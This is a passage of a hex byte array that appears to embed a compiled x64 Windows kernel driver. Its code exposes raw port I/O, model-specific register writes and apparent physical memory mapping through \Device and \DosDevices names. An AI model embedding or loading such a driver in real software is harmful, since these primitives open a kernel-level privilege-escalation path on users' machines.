0xEC, 0x30, 0x40, 0x8A, 0xEA, - 0x48, 0x8B, 0xF9, 0x41, 0x83, 0xF8, 0x0A, 0x0F, 0x82, 0xC0, 0x00, 0x00, - 0x00, 0xF2, 0x0F, 0x10, 0x01, 0x0F, 0xB7, 0x71, 0x08, 0xF2, 0x0F, 0x11, - 0x40, 0xE8, 0x84, 0xD2, 0x75, 0x0C, 0x0F, 0xB7, 0xC6, 0x44, 0x3B, 0xC8, - 0x0F, 0x82, 0xA3, 0x00, 0x00, 0x00, 0x8B, 0x4C, 0x24, 0x20, 0x45, 0x33, - 0xC0, 0x44, 0x0F, 0xB7, 0xF6, 0x41, 0x8B, 0xD6, 0xFF, 0x15, 0xBA, 0x08, - 0x00, 0x00, 0x4C, 0x8B, 0xC0, 0x48, 0x85, 0xC0, 0x75, 0x0A, 0xB8, 0x17, - 0x00, 0x00, 0xC0, 0xE9, 0x82, 0x00, 0x00, 0x00, 0x33, 0xDB, 0x0F, 0xB7, - 0xCE, 0x40, 0x84, 0xED, 0x74, 0x2F, 0x83, 0xE9, 0x01, 0x74, 0x1D, 0x83, - 0xE9, 0x01, 0x74, 0x0E, 0x83, 0xF9, 0x02, 0x75, 0x2F, 0x8B, 0x44, 0x24, - 0x24, 0x41, 0x89, 0x00, 0xEB, 0x11, 0x8B, 0x44, 0x24, 0x24, 0x66, 0x41, - 0x89, 0x00, 0xEB, 0x07, 0x8B, 0x44, 0x24, 0x24, 0x41, 0x88, 0x00, 0xF0, - 0x09, 0x1C, 0x24, 0xEB, 0x28, 0x83, 0xE9, 0x01, 0x74, 0x1F, 0x83, 0xE9, - 0x01, 0x74, 0x12, 0x83, 0xF9, 0x02, 0x74, 0x07, 0xBB, 0x0D, 0x00, 0x00, - 0xC0, 0xEB, 0x12, 0x8B, 0x00, 0x89, 0x07, 0xEB, 0x0C, 0x0F, 0xB7, 0x00, - 0x66, 0x89, 0x07, 0xEB, 0x04, 0x8A, 0x08, 0x88, 0x0F, 0x49, 0x8B, 0xD6, - 0x49, 0x8B, 0xC8, 0xFF, 0x15, 0x43, 0x08, 0x00, 0x00, 0x85, 0xDB, 0x78, - 0x08, 0x48, 0x8B, 0x4C, 0x24, 0x60, 0x4C, 0x89, 0x31, 0x8B, 0xC3, 0xEB, - 0x05, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, - 0x8B, 0x6C, 0x24, 0x48, 0x48, 0x8B, 0x74, 0x24, 0x50, 0x48, 0x8B, 0x7C, - 0x24, 0x58, 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, - 0x41, 0x83, 0xF8, 0x0A, 0x72, 0x76, 0x44, 0x0F, 0xB7, 0x41, 0x08, 0x84, - 0xD2, 0x74, 0x2C, 0x41, 0x83, 0xE8, 0x01, 0x74, 0x1E, 0x41, 0x83, 0xE8, - 0x01, 0x74, 0x0E, 0x41, 0x83, 0xF8, 0x02, 0x75, 0x31, 0x8B, 0x41, 0x04, - 0x8B, 0x11, 0xEF, 0xEB, 0x10, 0x0F, 0xB7, 0x41, 0x04, 0x8B, 0x11, 0x66, - 0xEF, 0xEB, 0x06, 0x8A, 0x41, 0x04, 0x8B, 0x11, 0xEE, 0xEB, 0x32, 0x45, - 0x3B, 0xC8, 0x72, 0x3C, 0x41, 0x83, 0xE8, 0x01, 0x74, 0x22, 0x41, 0x83, - 0xE8, 0x01, 0x74, 0x13, 0x41, 0x83, 0xF8, 0x02, 0x74, 0x06, 0xB8, 0x0D, - 0x00, 0x00, 0xC0, 0xC3, 0x8B, 0x11, 0xED, 0x89, 0x01, 0xEB, 0x0E, 0x8B, - 0x11, 0x66, 0xED, 0x66, 0x89, 0x01, 0xEB, 0x05, 0x8B, 0x11, 0xEC, 0x88, - 0x01, 0x48, 0x8B, 0x44, 0x24, 0x28, 0x0F, 0xB7, 0x49, 0x08, 0x48, 0x89, - 0x08, 0x33, 0xC0, 0xC3, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, - 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x49, 0x8B, 0xF9, 0x48, - 0x8B, 0xF2, 0x48, 0x8B, 0xE9, 0x41, 0x83, 0xF8, 0x08, 0x73, 0x07, 0xB8, - 0x23, 0x00, 0x00, 0xC0, 0xEB, 0x79, 0x33, 0xDB, 0x48, 0x8D, 0x0D, 0x51, - 0x19, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x48, 0x89, 0x5C, 0x24, 0x20, 0x45, - 0x33, 0xC0, 0x33, 0xD2, 0xFF, 0x15, 0xF6, 0x06, 0x00, 0x00, 0x4C, 0x8B, - 0x06, 0x48, 0x8D, 0x0D, 0x44, 0xFD, 0xFF, 0xFF, 0x48, 0x8B, 0xD5, 0xE8, - 0x9C, 0xF9, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x07, 0xBB, 0x25, 0x02, - 0x00, 0xC0, 0xEB, 0x2E, 0x83, 0x40, 0x40, 0xFF, 0x75, 0x21, 0x48, 0x8B, - 0x08, 0x48, 0x39, 0x41, 0x08, 0x75, 0x45, 0x48, 0x8B, 0x50, 0x08, 0x48, - 0x39, 0x02, 0x75, 0x3C, 0x48, 0x89, 0x0A, 0x48, 0x89, 0x51, 0x08, 0x48, - 0x8B, 0xC8, 0xE8, 0xDD, 0xF9, 0xFF, 0xFF, 0x48, 0xC7, 0x07, 0x08, 0x00, - 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8D, 0x0D, 0xE9, 0x18, 0x00, 0x00, 0xFF, - 0x15, 0x93, 0x06, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x40, - 0x48, 0x8B, 0x6C, 0x24, 0x48, 0x48, 0x8B, 0x74, 0x24, 0x50, 0x48, 0x83, - 0xC4, 0x30, 0x5F, 0xC3, 0xB9, 0x03, 0x00, 0x00, 0x00, 0xCD, 0x29, 0xCC, - 0x4D, 0x8B, 0xC8, 0x83, 0xFA, 0x0C, 0x73, 0x06, 0xB8, 0x23, 0x00, 0x00, - 0xC0, 0xC3, 0x45, 0x33, 0xC0, 0x48, 0x8B, 0x51, 0x04, 0x48, 0x8B, 0xC2, - 0x48, 0xC1, 0xEA, 0x20, 0x8B, 0x09, 0x0F, 0x30, 0x49, 0xC7, 0x01, 0x08, - 0x00, 0x00, 0x00, 0xEB, 0x03, 0x44, 0x8B, 0xC0, 0x41, 0x8B, 0xC0, 0xC3, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x49, 0x8B, - 0xF8, 0x48, 0x8B, 0xD9, 0x83, 0xFA, 0x14, 0x72, 0x56, 0x8B, 0x49, 0x10, - 0x8B, 0xC2, 0x4C, 0x8D, 0x49, 0x14, 0x49, 0x3B, 0xC1, 0x72, 0x48, 0x44, - 0x8B, 0x43, 0x08, 0x4C, 0x8D, 0x4B, 0x14, 0x8B, 0x43, 0x04, 0x41, 0x83, - 0xE0, 0x07, 0x8B, 0x13, 0x83, 0xE0, 0x1F, 0x89, 0x4C, 0x24, 0x28, 0xB9, - 0x04, 0x00, 0x00, 0x00, 0x41, 0xC1, 0xE0, 0x05, 0x44, 0x0B, 0xC0, 0x8B, - 0x43, 0x0C, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, 0xC0, 0x05, 0x00, 0x00, - 0x8B, 0xC8, 0x48, 0x89, 0x0F, 0x8B, 0x43, 0x10, 0x48, 0x2B, 0xC8, 0x48, - 0xF7, 0xD9, 0x1B, 0xC0, 0x25, 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x05, 0xB8, - 0x23, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, - 0x30, 0x5F, 0xC3, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x10, 0x48, - 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, 0x41, 0x54, 0x41, 0x56, - 0x48, 0x8D, 0xA8, 0x38, 0xFE, 0xFF, 0xFF, 0x48, 0x81, 0xEC, 0xB0, 0x02, - 0x00, 0x00, 0x48, 0x8B, 0x05, 0x6F, 0x15, 0x00, 0x00, 0x48, 0x33, 0xC4, - 0x48, 0x89, 0x85, 0xA0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xF9, 0xC7, 0x45, - 0x80, 0x14, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0x80, 0xFF, 0x15, 0x71, - 0x05, 0x00, 0x00, 0x45, 0x33, 0xE4, 0x85, 0xC0, 0x78, 0x22, 0x83, 0x7D, - 0x84, 0x06, 0x77, 0x08, 0x75, 0x1A, 0x83, 0x7D, 0x88, 0x02, 0x72, 0x14, - 0xC7, 0x05, 0x72, 0x15, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0xC7, 0x05, - 0x6C, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x0F, 0x10, 0x47, 0x38, - 0x48, 0x8D, 0x15, 0x4D, 0x04, 0x00, 0x00, 0x48, 0x83, 0xCB, 0xFF, 0xF3, - 0x0F, 0x7F, 0x44, 0x24, 0x48, 0x48, 0xFF, 0xC3, 0x66, 0x44, 0x39, 0x24, - 0x5A, 0x75, 0xF6, 0x0F, 0xB7, 0x74, 0x24, 0x48, 0x0F, 0xB7, 0xC6, 0x66, - 0xD1, 0xE8, 0x66, 0x3B, 0xD8, 0x73, 0x05, 0x0F, 0xB7, 0xC3, 0xEB, 0x05, - 0x0F, 0xB7, 0xC6, 0xD1, 0xE8, 0x4C, 0x8B, 0x74, 0x24, 0x50, 0x49, 0x8B, - 0xCE, 0x44, 0x8B, 0xC0, 0xE8, 0x3B, 0x02, 0x00, 0x00, 0x85, 0xC0, 0x75, - 0x12, 0xB8, 0xFE, 0xFF, 0x00, 0x00, 0x0F, 0xB7, 0xCB, 0x0F, 0xAF, 0xC8, - 0x4D, 0x8D, 0x34, 0x5E, 0x66, 0x03, 0xF1, 0x4C, 0x8D, 0x05, 0x12, 0x04, - 0x00, 0x00, 0xBA, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0xA0, 0x00, - 0x00, 0x00, 0xE8, 0x01, 0x02, 0x00, 0x00, 0x0F, 0xB7, 0xDE, 0x48, 0x8D, - 0x8D, 0xA0, 0x00, 0x00, 0x00, 0x48, 0xD1, 0xEB, 0x4D, 0x8B, 0xC6, 0x4C, - 0x8B, 0xCB, 0xBA, 0x80, 0x00, 0x00, 0x00, 0xE8, 0xEA, 0x01, 0x00, 0x00, - 0x48, 0x8D, 0x95, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x58, - 0xFF, 0x15, 0x9A, 0x04, 0x00, 0x00, 0xBE, 0x00, 0x01, 0x00, 0x00, 0x4C, - 0x8D, 0x05, 0xE6, 0x03, 0x00, 0x00, 0x8B, 0xD6, 0x48, 0x8D, 0x0D, 0xED, - 0x14, 0x00, 0x00, 0xE8, 0xB8, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xCB, 0x48, - 0x8D, 0x0D, 0xDE, 0x14, 0x00, 0x00, 0x4D, 0x8B, 0xC6, 0x8B, 0xD6, 0xE8, - 0xAA, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x15, 0xCD, 0x14, 0x00, 0x00, 0x48, - 0x8D, 0x4C, 0x24, 0x68, 0xFF, 0x15, 0x5A, 0x04, 0x00, 0x00, 0x48, 0x8D, - 0x44, 0x24, 0x40, 0x4C, 0x89, 0x64, 0x24, 0x40, 0x48, 0x89, 0x44, 0x24, - 0x30, 0x4C, 0x8D, 0x44, 0x24, 0x58, 0x44, 0x88, 0x64, 0x24, 0x28, 0x41, - 0xB9, 0x22, 0x00, 0x00, 0x00, 0x33, 0xD2, 0x44, 0x89, 0x64, 0x24, 0x20, - 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xB3, 0x04, 0x00, 0x00, 0x85, 0xC0, 0x0F, - 0x88, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x58, 0x48, 0x8D, - 0x4C, 0x24, 0x68, 0xFF, 0x15, 0xA3, 0x04, 0x00, 0x00, 0x8B, 0xD8, 0x85, - 0xC0, 0x79, 0x12, 0x48, 0x8B, 0x4C, 0x24, 0x40, 0xFF, 0x15, 0x9A, 0x04, - 0x00, 0x00, 0x8B, 0xC3, 0xE9, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, - 0xAC, 0xF4, 0xFF, 0xFF, 0x33, 0xD2, 0x48, 0x89, 0x47, 0x70, 0x48, 0x8D, - 0x0D, 0x4F, 0x16, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xC8, 0xF3, 0xFF, 0xFF, - 0x48, 0x89, 0x87, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xAA, 0xF4, - 0xFF, 0xFF, 0x48, 0x89, 0x87, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, - 0x4C, 0xF6, 0xFF, 0xFF, 0x48, 0x89, 0x47, 0x68, 0x48, 0x8D, 0x05, 0x59, - 0x16, 0x00, 0x00, 0x48, 0x89, 0x05, 0x5A, 0x16, 0x00, 0x00, 0x48, 0x89, - 0x05, 0x4B, 0x16, 0x00, 0x00, 0xFF, 0x15, 0xB5, 0x03, 0x00, 0x00, 0x44, - 0x8B, 0x0D, 0xC6, 0x13, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x7F, 0x16, 0x00, - 0x00, 0x66, 0x44, 0x89, 0x64, 0x24, 0x30, 0x45, 0x33, 0xC0, 0xC7, 0x44, - 0x24, 0x28, 0x43, 0x4C, 0x4D, 0x4D, 0x33, 0xD2, 0x48, 0xC7, 0x44, 0x24, - 0x20, 0x48, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xB5, 0x03, 0x00, 0x00, 0x33, - 0xC0, 0x48, 0x8B, 0x8D, 0xA0, 0x01, 0x00, 0x00, 0x48, 0x33, 0xCC, 0xE8, - 0x3C, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, 0xB0, 0x02, 0x00, 0x00, - 0x49, 0x8B, 0x5B, 0x28, 0x49, 0x8B, 0x73, 0x30, 0x49, 0x8B, 0x7B, 0x38, - 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x41, 0x5C, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x3B, 0x0D, 0x09, 0x13, 0x00, 0x00, 0x75, - 0x10, 0x48, 0xC1, 0xC1, 0x10, 0x66, 0xF7, 0xC1, 0xFF, 0xFF, 0x75, 0x01, - 0xC3, 0x48, 0xC1, 0xC9, 0x10, 0xE9, 0x12, 0x00, 0x00, 0x00, 0xCC, 0xCC, - 0xC2, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x83, 0x64, 0x24, - 0x20, 0x00, 0x48, 0x8B, 0xD1, 0x4C, 0x8B, 0x0D, 0xD4, 0x12, 0x00, 0x00, - 0xB9, 0xF7, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x05, 0xC0, 0x12, 0x00, 0x00, - 0x48, 0xFF, 0x15, 0x91, 0x03, 0x00, 0x00, 0x0F, 0x1F, 0x44, 0x00, 0x00, - 0xCC, 0xCC, 0xCC, 0xCC, 0xFF, 0x25, 0x9A, 0x03, 0x00, 0x00, 0xFF, 0x25, - 0x84, 0x03, 0x00, 0x00, 0xFF, 0x25, 0x16, 0x03, 0x00, 0x00, 0xFF, 0x25, - 0x68, 0x03, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x28, 0x4D, 0x8B, 0x41, 0x38, - 0x48, 0x8B, 0xCA, 0x49, 0x8B, 0xD1, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0xB8, - 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, - 0x48, 0x83, 0xEC, 0x28, 0x41, 0x8B, 0x00, 0x4C, 0x8B, 0xC9, 0x44, 0x8B, - 0xD8, 0x4C, 0x8B, 0xD1, 0x41, 0x83, 0xE3, 0xF8, 0xA8, 0x04, 0x74, 0x13, - 0x41, 0x8B, 0x40, 0x08, 0x4D, 0x63, 0x50, 0x04, 0xF7, 0xD8, 0x4C, 0x03, - 0xD1, 0x48, 0x63, 0xC8, 0x4C, 0x23, 0xD1, 0x49, 0x63, 0xC3, 0x4E, 0x8B, - 0x04, 0x10, 0x48, 0x8B, 0x42, 0x10, 0x8B, 0x48, 0x08, 0x48, 0x8B, 0x42, - 0x08, 0x8A, 0x54, 0x01, 0x03, 0xF6, 0xC2, 0x0F, 0x74, 0x09, 0x0F, 0xB6, - 0xC2, 0x83, 0xE0, 0xF0, 0x4C, 0x03, 0xC8, 0x4D, 0x33, 0xC8, 0x49, 0x8B, - 0xC9, 0xE8, 0x0E, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xFF, 0xE0, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC1, 0x49, 0x83, 0xF8, 0x08, 0x72, - 0x47, 0x0F, 0xB6, 0xD2, 0x49, 0xB9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, - 0x01, 0x01, 0x49, 0x0F, 0xAF, 0xD1, 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x50, - 0x4D, 0x8B, 0xC8, 0x49, 0x83, 0xE1, 0xF8, 0x49, 0x03, 0xC9, 0x66, 0x0F, - 0x1F, 0x44, 0x00, 0x00, 0x4A, 0x89, 0x54, 0x08, 0xF8, 0x49, 0x83, 0xE9, - 0x08, 0x75, 0xF5, 0x49, 0x83, 0xE0, 0x07, 0x74, 0x05, 0x4A, 0x89, 0x54, - 0x01, 0xF8, 0xC3, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x49, 0x83, 0xE0, 0x07, 0x74, 0x0A, 0x42, 0x88, 0x54, 0x00, 0xFF, 0x49, - 0xFF, 0xC8, 0x75, 0xF6, 0xC3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x48, 0x0F, 0x6E, - 0xC2, 0x0F, 0x16, 0xC0, 0x0F, 0x11, 0x01, 0x4C, 0x03, 0xC1, 0x48, 0x83, - 0xC1, 0x10, 0x48, 0x83, 0xE1, 0xF0, 0x4C, 0x2B, 0xC1, 0x4D, 0x8B, 0xC8, - 0x49, 0xC1, 0xE9, 0x07, 0x74, 0x2F, 0x0F, 0x29, 0x01, 0x0F, 0x29, 0x41, - 0x10, 0x48, 0x81, 0xC1, 0x80, 0x00, 0x00, 0x00, 0x0F, 0x29, 0x41, 0xA0, - 0x0F, 0x29, 0x41, 0xB0, 0x49, 0xFF, 0xC9, 0x0F, 0x29, 0x41, 0xC0, 0x0F, - 0x29, 0x41, 0xD0, 0x0F, 0x29, 0x41, 0xE0, 0x0F, 0x29, 0x41, 0xF0, 0x75, - 0xD5, 0x49, 0x83, 0xE0, 0x7F, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x04, - 0x74, 0x12, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x0F, 0x11, 0x01, 0x48, - 0x83, 0xC1, 0x10, 0x49, 0xFF, 0xC9, 0x75, 0xF4, 0x49, 0x83, 0xE0, 0x0F, - 0x74, 0x06, 0x42, 0x0F, 0x11, 0x44, 0x01, 0xF0, 0xC3, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x72, 0x00, 0x69, 0x00, - 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x00, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, - 0x65, 0x00, 0x5C, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, - 0x6F, 0x00, 0x73, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, - 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x54, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x34, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF2, 0x51, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x0A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x1A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x52, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x58, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x52, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x8A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xAA, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCC, 0x52, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xEA, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x06, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x51, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x3C, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x4C, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x6E, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x84, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x96, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xAE, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xC0, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xE4, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xFE, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x54, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xDC, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x26, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD0, 0x51, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x10, 0x1D, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0xD0, 0x10, 0x00, 0x00, - 0xF0, 0x10, 0x00, 0x00, 0xA0, 0x12, 0x00, 0x00, 0x90, 0x16, 0x00, 0x00, - 0xB0, 0x16, 0x00, 0x00, 0x10, 0x1D, 0x00, 0x00, 0x20, 0x1D, 0x00, 0x00, - 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0x77, 0xB7, 0x5D, - 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, - 0x88, 0x22, 0x00, 0x00, 0x88, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x7A, 0x77, 0xB7, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, - 0x74, 0x01, 0x00, 0x00, 0xFC, 0x22, 0x00, 0x00, 0xFC, 0x16, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x30, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x21, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x08, 0x21, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x10, 0x21, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, - 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 